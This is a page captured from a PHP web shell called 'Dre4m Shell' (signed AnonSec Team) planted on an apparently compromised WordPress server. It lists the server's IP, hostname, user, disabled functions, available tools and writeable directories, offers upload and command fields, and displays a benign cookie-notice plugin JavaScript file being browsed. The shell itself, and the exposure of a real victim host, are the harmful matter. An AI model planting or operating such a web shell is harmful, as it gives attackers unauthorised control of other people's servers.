Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.222.161.57
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/plugins/cookie-notice/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/plugins/cookie-notice/js/admin-plugins.js
( function( $ ) {

	// ready event
	$( function() {
		// cancel deactivation
		$( document ).on( 'click', '.cn-deactivate-plugin-cancel', function( e ) {
			tb_remove();

			return false;
		} );

		// simple deactivation
		$( document ).on( 'click', '.cn-deactivate-plugin-simple', function( e ) {
			// display spinner
			$( '#cn-deactivation-footer .spinner' ).addClass( 'is-active' );
		} );

		// deactivation with sending data
		$( document ).on( 'click', '.cn-deactivate-plugin-data', function( e ) {
			var spinner = $( '#cn-deactivation-footer .spinner' );
			var url = $( this ).attr( 'href' );

			// display spinner
			spinner.addClass( 'is-active' );

			// submit data
			$.post( ajaxurl, {
				action: 'cn-deactivate-plugin',
				option_id: $( 'input[name="cn_deactivation_option"]:checked' ).val(),
				other: $( 'textarea[name="cn_deactivation_other"]' ).val(),
				nonce: cnArgsPlugins.nonce
			} ).done( function( response ) {
				// deactivate plugin
				window.location.href = url;
			} ).fail( function() {
				// deactivate plugin
				window.location.href = url;
			} );

			return false;
		} );

		// click on deactivation link
		$( document ).on( 'click', '.cn-deactivate-plugin-modal', function( e ) {
			tb_show( cnArgsPlugins.deactivate, '#TB_inline?inlineId=cn-deactivation-modal&modal=false' );

			setTimeout( function() {
				var modalBox = $( '#cn-deactivation-container' ).closest( '#TB_window' );

				if ( modalBox.length > 0 ) {
					$( modalBox ).addClass( 'cn-deactivation-modal' );
					$( modalBox ).find( '#TB_closeWindowButton' ).on( 'blur' );
				}
			}, 0 );

			return false;
		} );

		// change radio
		$( document ).on( 'change', 'input[name="cn_deactivation_option"]', function( e ) {
			var last = $( 'input[name="cn_deactivation_option"]' ).last().get( 0 );

			// last element?
			if ( $( this ).get( 0 ) === last )
				$( '.cn-deactivation-textarea textarea' ).prop( 'disabled', false );
			else
				$( '.cn-deactivation-textarea textarea' ).prop( 'disabled', true );
		} );
	} );

} )( jQuery );

Anon7 - 2022
AnonSec Team